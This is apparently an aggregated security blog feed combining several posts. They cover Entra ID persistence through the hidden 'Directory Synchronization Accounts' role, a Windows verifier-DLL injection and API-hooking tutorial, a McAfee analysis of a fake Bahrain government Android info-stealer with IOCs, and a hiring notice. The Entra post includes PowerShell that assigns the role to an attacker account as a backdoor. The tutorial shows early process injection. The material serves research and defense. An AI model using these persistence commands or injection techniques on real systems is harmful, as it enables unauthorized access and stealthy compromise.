Conclusion

I hope the reader found at least this blog to not be so boring, even if it wasn’t informational to you. As always, if you have feedback please don’t hesitate to reach out to me. I would also like to thank Andrea Allievi for answering a few of my questions about this blog post! I did not ask Andrea to review every single aspect of this post (so any errors in this post are completely mine). If, again, there are issues identified please reach out to me so I can make edits!

Peace, love, and positivity!

Improved Guidance for Azure Network Service Tags

Summary Microsoft Security Response Center (MSRC) was notified in January 2024 by our industry partner, Tenable Inc., about the potential for cross-tenant access to web resources using the service tags feature. Microsoft acknowledged that Tenable provided a valuable contribution to the Azure community by highlighting that it can be easily misunderstood how to use service tags and their intended purpose.

Stealthy Persistence with “Directory Synchronization Accounts” Role in Entra ID

Summary

The “Directory Synchronization Accounts” Entra role is very powerful (allowing privilege escalation to the Global Administrator role) while being hidden in Azure portal and Entra admin center, in addition to being poorly documented, making it a perfect stealthy backdoor for persistence in Entra ID 🙈

This was discovered by Tenable Research while working on identity security.

“Directory Synchronization Accounts” role

Permissions inside Microsoft Entra ID (e.g. reset user password, change group membership, create applications, etc.) are granted through Entra roles. This article focuses on the Directory Synchronization Accounts role among the around 100 built-in Entra roles. This role has the ID “d29b2b05–8046–44ba-8758–1e26182fcf32”, it has the PRIVILEGED label that was recently introduced, and its description is:

This is a privileged role. Do not use. This role is automatically assigned to the Microsoft Entra Connect service, and is not intended or supported for any other use.

A privileged role that one should not use? It sounds like an invitation to me! 😉

The documentation seems to say that this special role cannot be freely assigned:

This special built-in role can’t be granted outside of the Microsoft Entra Connect wizard

This is incorrect since it can be assigned technically, even if it shouldn’t be (pull-request to fix this).

Privileged role

I confirm that the role is privileged because, of course, it contains some permissions marked as privileged, but also because it has implicit permissions in the private undocumented “Azure AD Synchronization” API (not to be confused with the public “Microsoft Entra Synchronization” API).

These permissions allow escalation up to the Global Administrator role using several methods that we will see later💥

Normal usage by Microsoft Entra Connect

The normal usage of this role is indeed to be assigned to the Entra service account used by “Entra Connect” (formerly “Azure AD Connect”), i.e. the user named “On-Premises Directory Synchronization Service Account” which has a UPN with this syntax: “SYNC_<name of the on-prem server where Entra Connect runs>_<random id>@tenant.example.net”.

Even though it is not documented (I’ve proposed a pull-request to fix this), this role is also assigned to the similar Entra service account used by “Entra Cloud Sync” (formerly “Azure AD Connect Cloud Sync”), i.e. the user also named “On-Premises Directory Synchronization Service Account” but which has a UPN with this syntax: “[email protected]” instead.

This role grants to the Entra service user, the permissions it requires to perform its inter-directory provisioning duties, such as creating/updating hybrid Entra users from the on-premises AD users, updating their password in Entra when it changes in AD with Password Hash Sync enabled, etc.

Security defaults

Security defaults is a feature in Entra ID allowing to activate multiple security features at once to increase security, notably requiring Multi-Factor Authentication (MFA). However, as documented by Microsoft and highlighted by Dr. Nestori Syynimaa @DrAzureAD, the “Directory Synchronization Accounts” role assignees are excluded from security defaults!

Dr. Nestori Syynimaa on Twitter: "Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE / Twitter"

Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE

Nestori also confirmed that the limitation concerns all those assigned to the role (I’ve proposed a pull-request to update the doc).

Once again, I understand the need for this since the legitimate accounts are user accounts, thus subject to MFA rules. However, this could be abused by a malicious administrator who wants to avoid MFA 😉

Hidden role

Here is the proof that this role is hidden in the Azure portal / Entra admin center. See this Entra Connect service account apparently having 1 role assigned:

But no results are shown in the “Assigned roles” menu (same in the other tabs, e.g. “Eligible assignments”) 🤔:

Actually I tested it in several of my tenants and I noticed that the role was displayed in another tenant:

I suppose that the portal is running a different version of the code, or due to a feature-flag or A/B testing, because this one uses the MS Graph API (on graph.microsoft.com) to list the role assignments:

Whereas the other uses a private API (on api.azrbac.mspim.azure.com):

I noticed this difference last year when I initially reported this behavior to MSRC.

And what about the “Roles and administrators” menu? We should be able to see the “Directory Synchronization Accounts” built-in role, isn’t it? Well, as you guessed, it’s hidden too 🙈 (in all my tenants: no difference here):

Note that for those that prefer it, the observations are identical in the Entra admin center.

I understand that Microsoft decided to hide it since this is a technical role that isn’t meant to be assigned by customers. A handful of other similar roles are hidden too. However, from a security perspective, I find it dangerous because organizations cannot use the Microsoft portals to see who may have this privileged role assigned illegitimately 😨! I reported this concern to MSRC (reference VULN-083495) last year, who confirmed that it was not a security issue and that they created a feature request to eventually improve the UX to help customers understand it.

This is the reason why I consider that this privileged role is a stealthy persistence method for attackers who compromised an Entra tenant.

Abuse methods

We will see how the security principals (users, but also service principals!) assigned to the “Directory Synchronization Accounts” role can elevate their privileges to the Global Administrator role! 😎

Password reset

There are several articles online explaining that the Entra Connect (ex- Azure AD Connect) service account in Entra ID is allowed to reset user passwords. One example is the “Unnoticed sidekick: Getting access to cloud as an on-prem admin” article by Dr. Nestori Syynimaa where “Set-AADIntUserPassword” is used.

I suppose this is allowed by the “microsoft.directory/passwordHashSync/allProperties/allTasks” Entra permission of the role, but I cannot check for sure.

There are some limitations though:

  • Only hybrid accounts (synchronized from on-premises AD) can be targeted (which was only recently fixed)
  • Only if Password-Hash Sync (PHS) is enabled, but the role allows to enable it
  • Only via the private “Azure AD Synchronization” API, that is implemented in AADInternals, whose endpoint is https://adminwebservice.microsoftonline.com/provisioningservice.svc and it must not be confused with other similarly named APIs: the public Microsoft Entra Synchronization API, or the private Azure AD Provisioning API. So, the reset must be done using the Set-AADIntUserPassword AADInternals PowerShell cmdlet.
  • Not exploitable if the target has MFA or FIDO2 authentication enforced since the password can still be reset but authentication won’t be possible

Add credentials to privileged application / service principal

The other interesting method was described by Fabian Bader in this article: “From on-prem to Global Admin without password reset”. I recommend that you read the original article, but in a summary, the idea is to identify an application or service principal having powerful Microsoft Graph API permissions, then abuse the “microsoft.directory/applications/credentials/update” or “microsoft.directory/servicePrincipals/credentials/update” Entra permissions, which the “Directory Synchronization Accounts” role holds, to add credentials to it. Thus allowing to authenticate as the service principal, and abuse the appropriate method corresponding to the dangerous Graph API permission to escalate to Global Admin.

This method was also described by Dirk-jan Mollema in this article: “Azure AD privilege escalation — Taking over default application permissions as Application Admin“.

Manage role assignment

Since one cannot manage this role using Azure portal nor Entra admin center, how to list or manage its assignees? We will see how, using the Microsoft Graph PowerShell SDK since the Azure AD PowerShell module is now deprecated.

List role assignees

The Get-MgDirectoryRoleMember command allows to list the security principals assigned to a role. We reference the “Directory Synchronization Accounts” role by its well-known ID (as seen in the beginning) instead of its name for better reliability:

Connect-MgGraph -Scopes "Domain.Read.All"
$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
Get-MgDirectoryRoleMember -DirectoryRoleId $dirSync.Id | Format-List *

The output is not very consistent because role assignees are “security principals” which can be either users, groups, or service principals (undocumented 😉), so different types of objects.

In this example I have specified the “Domain.Read.All” Graph API permission when connecting, because it is usually already delegated, but the least privileged permission is actually “RoleManagement.Read.Directory”.

Add role assignment

And how an attacker wishing to abuse this role for stealthy persistence would assign it? With the New-MgRoleManagementDirectoryRoleAssignment command:

Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
$hacker = Get-MgUser -UserId [email protected]
New-MgRoleManagementDirectoryRoleAssignment -RoleDefinitionId $dirSync.Id -PrincipalId $hacker.Id -DirectoryScopeId "/"

In this example, I have specified the “RoleManagement.ReadWrite.Directory” Graph API permission when connecting, which is the least privileged permission.

Also, if this role has never been used in the tenant (for example if Entra Connect / Entra Cloud Sync was never configured), the role instance must be created from the role template before usage, with this command:

New-MgDirectoryRole -RoleTemplateId "d29b2b05-8046-44ba-8758-1e26182fcf32"

Remove role assignment

A malicious role assignment, or one which is a leftover from when the Entra tenant was hybrid, can be removed with the Remove-MgDirectoryRoleMemberByRef command:

$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId $dirSync.Id -DirectoryObjectId <object ID of the assignee to remove>

Recommendations

➡️ As a conclusion, my recommendation is to list and monitor the security principals assigned to the “Directory Synchronization Accounts” role. Since you cannot use the Azure portal / Entra admin center to see those, you must use the Graph API (or the deprecated Azure AD PowerShell module) as described above. Thankfully, you will soon be able list all role assignees from the comfort of Tenable One or Tenable Identity Exposure.

🕵️ Any unrecognized suspicious assignee must be investigated because it may be a potential backdoor. Does it look like a legitimate Entra Connect or Entra Cloud Sync service user? Does its creation date correspond to the set up date of hybrid synchronization? Etc. Tenable Identity Exposure will soon add an Indicator of Exposure (IoE) allowing automatic identification of those suspicious “Directory Synchronization Accounts” role assignments, including more detailed recommendations.

🛡️ As a safety net, you can also follow Dr. Nestori Syynimaa’s recommendation to create a Conditional Access policy to block all users with that role, except the real legitimate synchronization user.

🤞 Finally, I hope that Microsoft will soon find a solution, with a better user experience, allowing to discourage the usage of the “Directory Synchronization Accounts” role, without resorting to hiding it, so customers can use the Azure portal or Entra admin center to see the role and its assignees.


Stealthy Persistence with “Directory Synchronization Accounts” Role in Entra ID was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Before yesterdayVulnerabily Research

Building a Verifier DLL

1 June 2024 at 02:50

The Application Verifier tool that is part of the Windows SDK provide a way to analyze processes for various types of misbehavior. The GUI provided looks like the following:

Application Verifier application window

To add an application, you can browse your file system and select an executable. The Application Verifier settings are based around the executable name only – not a full path. This is because verifier settings are stored in a subkey under Image File Execution Options with the name of the executable. For the notepad example above, you’ll find the following in the Registry:

Key for notepad.exe under the IFEO subkey

This IFEO subkey is used for NT Global Flags settings, one of which is using the Application Verifier. The GlobalFlag value is shown to be 0x100, which is the bit used for the verifier. Another way to set it without any extra information is using the GFlags tool, part of the Debugging Tools for Windows package:

GFlags tool

The Application Verifier lists a bunch of DLLs under the VerifierDLLs value. Each one must be located in the system directory (e.g., c:\Windows\System32). Full paths are not supported; this is intentional, because the list of DLLs are going to be loaded to any process running the specified executable, and it would be risky to load DLLs from arbitrary locations in the file system. The system directory, as well as the IFEO key are normally write-accessible by administrators only.

The list of verifier DLLs is selected based on the set of tests selected by the user on the right hand side of the GUI. You’ll find subkeys that are used by the system-provided verifier DLLs with more settings related to the tests selected.

The nice thing about any verifier DLL specified, is that these DLLs are loaded early in the process lifetime, by verifier.dll (in itself loaded by NTDLL.dll), before any other DLLs are loaded into the process. Even attaching a debugger to the process while launching it would “miss” the loading of these DLLs.

This behavior makes this technique attractive for injecting a DLL into arbitrary processes. It’s even possible to enable Application Verifier globally and even dynamically (without the need to restart the system), so that these DLLs are injected into all processes (except protected processes).

Writing a Verifier DLL

Application Verifier tests descriptions is not the focus of this post. Rather, we’ll look into what it takes to create such a DLL that can be injected early and automatically into processes of our choice. As we’ll see, it’s not just about mere injection. The verifier infrastructure (part of verifier.dll) provides convenient facilities to hook functions.

If we create a standard DLL, set up the verifier entries while adding our DLL to the list of verifier DLLs (possibly removing the “standard” ones), and try to run our target executable (say, notepad), we get the following nasty message box:

The process shuts down, which means that if a verifier DLL fails to be properly processed, the process terminates rather than “skipping” the DLL.

Launching notepad with WinDbg spits the following output:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0x10CEC: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0x10CEC: flags 0x81643027: application verifier enabled
ModLoad: 00007ffc`cabd0000 00007ffc`cad6f000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
AVRF: provider MyVerify.dll did not initialize correctly

Clearly the DLL did not initialize correctly, which is what the NTSTATUS 0xc0000142 was trying to tell us in the message box.

DLLs are initialized with the DllMain function that typically looks like this:

BOOL WINAPI DllMain(HMODULE hModule, DWORD reason, PVOID lpReserved) {
	switch (reason) {
		case DLL_PROCESS_ATTACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

The classic four values shown are used by the DLL to run code when it’s loaded into a process (DLL_PROCESS_ATTACH), unloaded from a process (DLL_PROCESS_DETACH), a thread is created in the process (DLL_THREAD_ATTACH), and thread is exiting in the process (DLL_THREAD_DETACH). It turns out that there is a fifth value, which must be used with verifiier DLLs:

#define DLL_PROCESS_VERIFIER 4

Returning TRUE from such a case is not nearly enough. Instead, a structure expected by the caller of DllMain must be initialized and its address provided in lpReserved. The following structures and callback type definitions are needed:

typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR {
	PCHAR ThunkName;
	PVOID ThunkOldAddress;
	PVOID ThunkNewAddress;
} RTL_VERIFIER_THUNK_DESCRIPTOR, *PRTL_VERIFIER_THUNK_DESCRIPTOR;

typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR {
	PWCHAR DllName;
	ULONG DllFlags;
	PVOID DllAddress;
	PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks;
} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR;

typedef void (NTAPI* RTL_VERIFIER_DLL_LOAD_CALLBACK) (
	PWSTR DllName,
	PVOID DllBase,
	SIZE_T DllSize,
	PVOID Reserved);
typedef void (NTAPI* RTL_VERIFIER_DLL_UNLOAD_CALLBACK) (
	PWSTR DllName,
	PVOID DllBase,
	SIZE_T DllSize,
	PVOID Reserved);
typedef void (NTAPI* RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK) (
	PVOID AllocationBase,
	SIZE_T AllocationSize);

typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR {
	ULONG Length;
	PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls;
	RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback;
	RTL_VERIFIER_DLL_UNLOAD_CALLBACK ProviderDllUnloadCallback;

	PWSTR VerifierImage;
	ULONG VerifierFlags;
	ULONG VerifierDebug;

	PVOID RtlpGetStackTraceAddress;
	PVOID RtlpDebugPageHeapCreate;
	PVOID RtlpDebugPageHeapDestroy;

	RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK ProviderNtdllHeapFreeCallback;
} RTL_VERIFIER_PROVIDER_DESCRIPTOR;

That’s quite a list. The main structure is RTL_VERIFIER_PROVIDER_DESCRIPTOR
that has a pointer to an array of RTL_VERIFIER_DLL_DESCRIPTOR
(the last element in the array must end with all zeros), which in itself points to an array of RTL_VERIFIER_THUNK_DESCRIPTOR
, used for specifying functions to hook. There are a few callbacks as well. At a minimum, we can define this descriptor like so (no hooking, no special code in callbacks):

RTL_VERIFIER_DLL_DESCRIPTOR noHooks{};

RTL_VERIFIER_PROVIDER_DESCRIPTOR desc = {
	sizeof(desc),
	&noHooks,
	[](auto, auto, auto, auto) {},
	[](auto, auto, auto, auto) {},
	nullptr, 0, 0,
	nullptr, nullptr, nullptr,
	[](auto, auto) {},
};

We can define these simply as global variables and return the address of desc in the handling of DLL_PROCESS_VERIFIER:

case DLL_PROCESS_VERIFIER:
	*(PVOID*)lpReserved = &desc;
	break;

With this code in place, we can try launching notepad again (after copying MyVerify.Dll to the System32 directory). Here is the output from WinDbg:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0xB30C: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0xB30C: flags 0x81643027: application verifier enabled
ModLoad: 00007ffd`25b50000 00007ffd`25cf1000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffd`963e0000 00007ffd`9640b000   C:\Windows\System32\GDI32.dll
ModLoad: 00007ffd`95790000 00007ffd`957b2000   C:\Windows\System32\win32u.dll
ModLoad: 00007ffd`95090000 00007ffd`951a7000   C:\Windows\System32\gdi32full.dll
...

This time it works. MyVerify.dll loads right after verifier.dll (which is the one managing verify DLLs).

Hooking Functions

As mentioned before, we can use the verifier engine’s support for hooking functions in arbitrary DLLs. Let’s give this a try by hooking into a couple of functions, GetMessage and CreateFile. First, we need to set up the structures for the hooks on a per-DLL basis:

RTL_VERIFIER_THUNK_DESCRIPTOR user32Hooks[] = {
	{ (PCHAR)"GetMessageW", nullptr, HookGetMessage },
	{ nullptr, nullptr, nullptr },
};

RTL_VERIFIER_THUNK_DESCRIPTOR kernelbaseHooks[] = {
	{ (PCHAR)"CreateFileW", nullptr, HookCreateFile },
	{ nullptr, nullptr, nullptr },
};

The second NULL in each triplet is where the original address of the hooked function is stored by the verifier engine. Now we fill the structure with the list of DLLs, pointing to the hook arrays:

RTL_VERIFIER_DLL_DESCRIPTOR dlls[] = {
	{ (PWCHAR)L"user32.dll", 0, nullptr, user32Hooks },
	{ (PWCHAR)L"kernelbase.dll", 0, nullptr, kernelbaseHooks },
	{ nullptr, 0, nullptr, nullptr },
};

Finally, we update the main structure with the dlls array:

RTL_VERIFIER_PROVIDER_DESCRIPTOR desc = {
	sizeof(desc),
	dlls,
	[](auto, auto, auto, auto) {},
	[](auto, auto, auto, auto) {},
	nullptr, 0, 0,
	nullptr, nullptr, nullptr,
	[](auto, auto) {},
};

The last thing is to actually implement the hooks:

BOOL WINAPI HookGetMessage(PMSG msg, HWND hWnd, UINT filterMin, UINT filterMax) {
	// get original function
	static const auto orgGetMessage = (decltype(::GetMessageW)*)user32Hooks[0].ThunkOldAddress;
	auto result = orgGetMessage(msg, hWnd, filterMin, filterMax);
	char text[128];
	sprintf_s(text, "Received message 0x%X for hWnd 0x%p\n", msg->message, msg->hwnd);
	OutputDebugStringA(text);
	return result;
}

HANDLE WINAPI HookCreateFile(PCWSTR path, DWORD access, DWORD share, LPSECURITY_ATTRIBUTES sa, DWORD cd, DWORD flags, HANDLE hTemplate) {
	// get original function
	static const auto orgCreateFile = (decltype(::CreateFileW)*)kernelbaseHooks[0].ThunkOldAddress;
	auto hFile = orgCreateFile(path, access, share, sa, cd, flags, hTemplate);
	char text[512];
	if (hFile == INVALID_HANDLE_VALUE)
		sprintf_s(text, "Failed to open file %ws (%u)\n", path, ::GetLastError());
	else
		sprintf_s(text, "Opened file %ws successfuly (0x%p)\n", path, hFile);

	OutputDebugStringA(text);
	return hFile;
}

The hooks just send some output with OutputDebugString. Here is an excerpt output when running notepad under a debugger:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0xEF18: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0xEF18: flags 0x81643027: application verifier enabled
ModLoad: 00007ffd`25b80000 00007ffd`25d24000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffd`963e0000 00007ffd`9640b000   C:\Windows\System32\GDI32.dll
ModLoad: 00007ffd`95790000 00007ffd`957b2000   C:\Windows\System32\win32u.dll
ModLoad: 00007ffd`95090000 00007ffd`951a7000   C:\Windows\System32\gdi32full.dll
...
ModLoad: 00007ffd`964f0000 00007ffd`965bd000   C:\Windows\System32\OLEAUT32.dll
ModLoad: 00007ffd`96d10000 00007ffd`96d65000   C:\Windows\System32\shlwapi.dll
ModLoad: 00007ffd`965d0000 00007ffd`966e4000   C:\Windows\System32\MSCTF.dll
Opened file C:\Windows\Fonts\staticcache.dat successfuly (0x0000000000000164)
ModLoad: 00007ffd`7eac0000 00007ffd`7eb6c000   C:\Windows\System32\TextShaping.dll
ModLoad: 00007ffc`ed750000 00007ffc`ed82e000   C:\Windows\System32\efswrt.dll
ModLoad: 00007ffd`90880000 00007ffd`909d7000   C:\Windows\SYSTEM32\wintypes.dll
ModLoad: 00007ffd`8bf90000 00007ffd`8bfad000   C:\Windows\System32\MPR.dll
ModLoad: 00007ffd`8cae0000 00007ffd`8cce3000   C:\Windows\System32\twinapi.appcore.dll
Opened file C:\Windows\Registration\R000000000025.clb successfuly (0x00000000000001C4)
ModLoad: 00007ffd`823b0000 00007ffd`82416000   C:\Windows\System32\oleacc.dll
...
Received message 0x31F for hWnd 0x00000000001F1776
Received message 0xC17C for hWnd 0x00000000001F1776
Received message 0xF for hWnd 0x00000000001F1776
Received message 0xF for hWnd 0x00000000003010C0
Received message 0xF for hWnd 0x0000000000182E7A
Received message 0x113 for hWnd 0x00000000003319A8
...
ModLoad: 00007ffd`80e20000 00007ffd`80fd4000   C:\Windows\System32\WindowsCodecs.dll
ModLoad: 00007ffd`94ee0000 00007ffd`94f04000   C:\Windows\System32\profapi.dll
Opened file C:\Users\Pavel\AppData\Local\IconCache.db successfuly (0x0000000000000724)
ModLoad: 00007ffd`3e190000 00007ffd`3e1f6000   C:\Windows\System32\thumbcache.dll
Opened file C:\Users\Pavel\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db successfuly (0x0000000000000450)
Opened file C:\Users\Pavel\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db successfuly (0x000000000000065C)
ModLoad: 00007ffd`90280000 00007ffd`90321000   C:\Windows\SYSTEM32\policymanager.dll

This application verifier technique is an interesting one, and fairly easy to use. The full example can be found at https://github.com/zodiacon/VerifierDLL.

Happy verifying!

Fake Bahrain Government Android App Steals Personal Data Used for Financial Fraud

31 May 2024 at 21:43

Authored by Dexter Shin

Many government agencies provide their services online for the convenience of their citizens. Also, if this service could be provided through a mobile app, it would be very convenient and accessible. But what happens when malware pretends to be these services?

McAfee Mobile Research Team found an InfoStealer Android malware pretending to be a government agency service in Bahrain. This malware pretends to be the official app of Bahrain and advertises that users can renew or apply for driver’s licenses, visas, and ID cards on mobile. Users who are deceived by advertisements that they are available on mobile will be provided with the necessary personal information for these services without a doubt. They reach users in various ways, including Facebook and SMS messages. Users who are not familiar with these attacks easily make the mistake of sending personal information.

Detailed pretended app

In Bahrain, there’s a government agency called the Labour Market Regulatory Authority (LMRA). This agency operates with full financial and administrative independence under the guidance of a board of directors chaired by the Minister of Labour. They provide a variety of mobile services, and most apps provide only one service per app. However, this fake app promotes providing more than one service.

Figure 1. Legitimate official LMRA website

Figure 2. Fake app named LMRA

Excluding the most frequently found fake apps pretending LMRA, there are various fake apps included Bank of Bahrain and Kuwait (BBK), BenefitPay, a fintech company in Bahrain, and even apps pretending to be related to Bitcoin or loans. These apps use the same techniques as the LMRA fake apps to steal personal information.

Figure 3. Various fake apps using the same techniques

From the type of app that this malware pretends, we can guess that the purpose is financial fraud to use the personal information it has stolen. Moreover, someone has been affected by this campaign as shown in the picture below.

Figure 4. Victims of financial fraud (Source: Reddit)

Distribution method

They distribute these apps using Facebook pages and SMS messages. Facebook pages are fake and malware author is constantly creating new pages. These pages direct users to phishing sites, either WordPress blog sites or custom sites designed to download apps.

Figure 5. Facebook profile and page with a link to the phishing site

Figure 6. One of the phishing sites designed to download app

In the case of SMS, social engineering messages are sent to trick users into clicking a link so that they feel the need to urgently confirm.

Figure 7. Phishing message using SMS (Source: Reddit)

What they want

When the user launches the app, the app shows a large legitimate icon for users to be mistaken. And it asks for the CPR and phone number. The CPR number is an exclusive 9-digit identifier given to each resident in Bahrain. There is a “Verify” button, but it is simply a button to send information to the C2 server. If users input their information, it goes directly to the next screen without verification. This step just stores the information for the next step.

Figure 8. The first screen (left) and next screen of a fake app (right)

There are various menus, but they are all linked to the same URL. The parameter value is the CPR and phone numbers input by the user on the first screen.

Figure 9. All menus are linked to the same URL

The last page asks for the user’s full name, email, and date of birth. After inputting everything and clicking the “Send” button, all information inputted so far will be sent to the malware author’s c2 server.

Figure 10. All data sent to C2 server

After sending, it shows a completion page to trick the user. It shows a message saying you will receive an email within 24 hours. But it is just a counter that decreases automatically. So, it does nothing after 24 hours. In other words, while users are waiting for the confirmation email for 24 hours, cybercriminals will exploit the stolen information to steal victims’ financial assets.

Figure 11. Completion page to trick users

In addition, they have a payload for stealing SMS. This app has a receiver that works when SMS is received. So as soon as SMS comes, it sends an SMS message to the C2 server without notifying the user.

Figure 12. Payload for stealing SMS

Dynamic loading of phishing sites via Firebase

We confirmed that there are two types of these apps. There is a type that implements a custom C2 server and receives data directly through web API, and another type is an app that uses Firebase. Firebase is a backend service platform provided by Google. Among many services, Firestore can store data as a database. This malware uses Firestore. Because it is a legitimate service provided by Google, it is difficult to detect as a malicious URL.

For apps that use Firebase, dynamically load phishing URLs stored in Firestore. Therefore, even if a phishing site is blocked, it is possible to respond quickly to maintain already installed victims by changing the URL stored in Firestore.

Figure 13. Dynamically loading phishing site loaded in webview

Conclusion

According to our detection telemetry data, there are 62 users have already used this app in Bahrain. However, since this data is a number at the time of writing, this number is expected to continue to increase, considering that new Facebook pages are still being actively created.

Recent malware tends to target specific countries or users rather than widespread attacks. These attacks may be difficult for general users to distinguish because malware accurately uses the parts needed by users living in a specific country. So we recommend users install secure software to protect their devices. Also, users are encouraged to download and use apps from official app stores like Google Play Store or Apple AppStore. If you can’t find an app in these stores, you must download the app provided on the official website.

McAfee Mobile Security already detects this threat as Android/InfoStealer. For more information, visit McAfee Mobile Security.

Indicators of Compromise (IOCs)

Samples:

SHA256 Package Name App Name
6f6d86e60814ad7c86949b7b5c212b83ab0c4da65f0a105693c48d9b5798136c com.ariashirazi.instabrowser LMRA
5574c98c9df202ec7799c3feb87c374310fa49a99838e68eb43f5c08ca08392d com.npra.bahrain.five LMRA Bahrain
b7424354c356561811e6af9d8f4f4e5b0bf6dfe8ad9d57f4c4e13b6c4eaccafb com.npra.bahrain.five LMRA Bahrain
f9bdeca0e2057b0e334c849ff918bdbe49abd1056a285fed1239c9948040496a com.lmra.nine.lmranine LMRA
bf22b5dfc369758b655dda8ae5d642c205bb192bbcc3a03ce654e6977e6df730 com.stich.inches Visa Update
8c8ffc01e6466a3e02a4842053aa872119adf8d48fd9acd686213e158a8377ba com.ariashirazi.instabrowser EasyLoan
164fafa8a48575973eee3a33ee9434ea07bd48e18aa360a979cc7fb16a0da819 com.ariashirazi.instabrowser BTC Flasher
94959b8c811fdcfae7c40778811a2fcc4c84fbdb8cde483abd1af9431fc84b44 com.ariashirazi.instabrowser BenefitPay
d4d0b7660e90be081979bfbc27bbf70d182ff1accd829300255cae0cb10fe546 com.lymors.lulumoney BBK Loan App

Domains:

  • https[://]lmraa.com
  • https[://]lmjbfv.site
  • https[://]dbjiud.site
  • https[://]a.jobshuntt.com
  • https[://]shop.wecarerelief.ca

Firebase(for C2):

  • https[://]npra-5.firebaseio.com
  • https[://]lmra9-38b17.firebaseio.com
  • https[://]practice-8e048.firebaseio.com

The post Fake Bahrain Government Android App Steals Personal Data Used for Financial Fraud appeared first on McAfee Blog.

Hacking the Future: 12 Years at Exodus and the Next Big Leap

31 May 2024 at 14:18

Hacking the Future: 12 Years at Exodus and the Next Big Leap

Tl;dr – We are hiring engineers, analysts, and researchers.

This May marked our 12th year of producing world-class vulnerability intelligence at Exodus Intelligence. We have had many ups (and downs) and have worked with a variety of talented people over the years whose collective contributions have made us who we are today. Throughout our history we have stayed true to our founding mission of maintaining a hacking culture, made by hackers, for hackers. We challenge and pride ourselves on researching some of the hardest targets, across a diversity of platforms and operating systems. As a team we have analyzed (I’m’, talking weeks long, thorough, root cause analysis) more than 1,600 Nday, and discovered over 400 0day in enterprise products. Whether software, hardware, server side, client side, IoT… our experts have done it all.

It has been a bit of a waiting game for the industry to build an appreciation for vulnerability intelligence, let alone Zeroday vulnerability intelligence. I would argue that the industry is finally there, and with the help of a lot of the big companies, there are products that can effectively detect and defend against this category of risks.

There is still a degree of “wild west” in the industry where it is hard to design and maintain standards for reporting, tracking and cataloging vulnerabilities (CVE, CVSS, CNAs, CPEs, SBOM,…). At Exodus we have always focused on the core research as our wheelhouse and put less effort on the website, front end, and engineering work that drives how people view, search and ingest our data. The market demands it now.

We are at an inflection point and aim to make our data more widely available and develop what tools we can to aggregate, enrich and curate all the public data, marry it with our own discoveries and analysis, and distribute to our customers. We have developed integrations for Splunk, Demisto (Cortex XSOAR), Slack, Recorded Future, to name a few examples, but the engineering lift is large, and the research support is insurmountable. Even as we jump on the GenAI band wagon with everyone else and invest in LLM, ML and AI, that technology is only as good as its input/data, so our researchers will need to spend the requisite time and effort training these models.

